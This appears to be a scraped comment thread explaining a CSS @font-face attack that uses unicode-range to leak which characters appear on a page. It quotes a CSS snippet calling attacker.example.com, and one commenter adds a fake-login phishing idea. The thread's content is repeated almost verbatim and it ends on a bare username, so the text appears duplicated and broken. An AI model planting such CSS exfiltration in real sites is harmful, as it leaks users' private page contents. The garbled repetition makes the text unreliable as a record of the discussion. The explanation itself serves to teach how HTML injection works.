5 ms·

I have to admit, I'm a bit confused about what is actually happening here. Can someone ELI5?

oneeyedpigeon 11y ago
@font-face { font-family: poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range: U+0041; } #sensitive-information { font-family: poc; } means "use the font-file 'http://attacker.example.com/?A' http://attacker.example.com/?A' to format the text of element '#sensitive-information' but only to format the letter (glyph?) A". Presumably, the browser only bothers sending the request if it needs to, so my server at attacker.example.com can look out for ?A request to determine if the referer contains an element with that text. As stated, the attack vector will be limited, but this could certainly leak some information if you can get a site to host that CSS.
Hamcha 11y ago
I'm not really experienced in @font-face, but I think it's specifing a different webfont for single unicode characters (using the range attribute). Chrome will then try to fetch the font from the many URLs, making an HTTP request for every character in the field (say "Hello" will try to fetch ?H, ?e, ?l, ?o) in the order it finds them. If you're on the other side (ie. the server serving the font) you can rebuild the original string by seeing which requests have been made and in which order. Haven't tried it, but I doubt it'll try to fetch the same letter twice, so most of the time the string wouldn't be complete (but again, I haven't tried so I don't know for sure).
- konceptz 11y ago
  This may not work exactly as planned if your target string is expected to be long enough. You can see from his example that the fetching takes place out of order, as expected from asynchronous calls.
  - deleted 11y ago
    [deleted]
ZoFreX 11y ago
They're setting custom fonts, but specifying the fonts should only be used for particular characters. This attack assumes the attacker has some way of getting CSS they wrote onto the target website, via some other exploit. The attacker then hosts many font files on a webserver they control. Let's call the fonts "a", "b", "c", and so on. They then inject the CSS to set the font for text on the target page to their custom fonts - but tell it "use font a for all of the 'a' characters" and so on. By observing which fonts are downloaded from their webserver, they can learn information on which characters are and are not present on the page.
- deanclatworthy 11y ago
  Okay, I understand now. Thanks.
  - tptacek 11y ago
    If it's helpful: the "sting" of this attack is that it works even when you can't inject Javascript into the page; that's why it's referred to as an "HTML injection attack". The canonical HTML injection attack is cross-site scripting --- it's so canonical, in fact, that we usually just think about XSS, and not the generalized flaw of HTML injection. This is an illustration of how even closing off Javascript as an attack vector doesn't stop HTML injection attacks from working. See also: http://lcamtuf.coredump.cx/postxss/ http://lcamtuf.coredump.cx/postxss/
    - MichaelGG 11y ago
      If you get HTML/CSS control isn't that game over? If I can get HTML loaded into your Gmail tab, then I can setup a fake login or "Please re-enter your password to continue" that has a form action of myserver. (Which then just redirects you to wherever you were.) Injecting scripting is cute because it's far more flexible, but I'd guess an HTML injection is enough to get a fairly high rate of success, albeit a bit more noticeably.
      - tptacek 11y ago

@font-face { font-family: poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range: U+0041; } #sensitive-information { font-family: poc; } means "use the font-file 'http://attacker.example.com/?A' http://attacker.example.com/?A' to format the text of element '#sensitive-information' but only to format the letter (glyph?) A". Presumably, the browser only bothers sending the request if it needs to, so my server at attacker.example.com can look out for ?A request to determine if the referer contains an element with that text. As stated, the attack vector will be limited, but this could certainly leak some information if you can get a site to host that CSS.

Hamcha 11y ago

I'm not really experienced in @font-face, but I think it's specifing a different webfont for single unicode characters (using the range attribute). Chrome will then try to fetch the font from the many URLs, making an HTTP request for every character in the field (say "Hello" will try to fetch ?H, ?e, ?l, ?o) in the order it finds them. If you're on the other side (ie. the server serving the font) you can rebuild the original string by seeing which requests have been made and in which order. Haven't tried it, but I doubt it'll try to fetch the same letter twice, so most of the time the string wouldn't be complete (but again, I haven't tried so I don't know for sure).

konceptz 11y ago
This may not work exactly as planned if your target string is expected to be long enough. You can see from his example that the fetching takes place out of order, as expected from asynchronous calls.
- deleted 11y ago
  [deleted]

ZoFreX 11y ago

They're setting custom fonts, but specifying the fonts should only be used for particular characters. This attack assumes the attacker has some way of getting CSS they wrote onto the target website, via some other exploit. The attacker then hosts many font files on a webserver they control. Let's call the fonts "a", "b", "c", and so on. They then inject the CSS to set the font for text on the target page to their custom fonts - but tell it "use font a for all of the 'a' characters" and so on. By observing which fonts are downloaded from their webserver, they can learn information on which characters are and are not present on the page.

deanclatworthy 11y ago
Okay, I understand now. Thanks.
- tptacek 11y ago
  If it's helpful: the "sting" of this attack is that it works even when you can't inject Javascript into the page; that's why it's referred to as an "HTML injection attack". The canonical HTML injection attack is cross-site scripting --- it's so canonical, in fact, that we usually just think about XSS, and not the generalized flaw of HTML injection. This is an illustration of how even closing off Javascript as an attack vector doesn't stop HTML injection attacks from working. See also: http://lcamtuf.coredump.cx/postxss/ http://lcamtuf.coredump.cx/postxss/
  - MichaelGG 11y ago
    If you get HTML/CSS control isn't that game over? If I can get HTML loaded into your Gmail tab, then I can setup a fake login or "Please re-enter your password to continue" that has a form action of myserver. (Which then just redirects you to wherever you were.) Injecting scripting is cute because it's far more flexible, but I'd guess an HTML injection is enough to get a fairly high rate of success, albeit a bit more noticeably.
    - tptacek 11y ago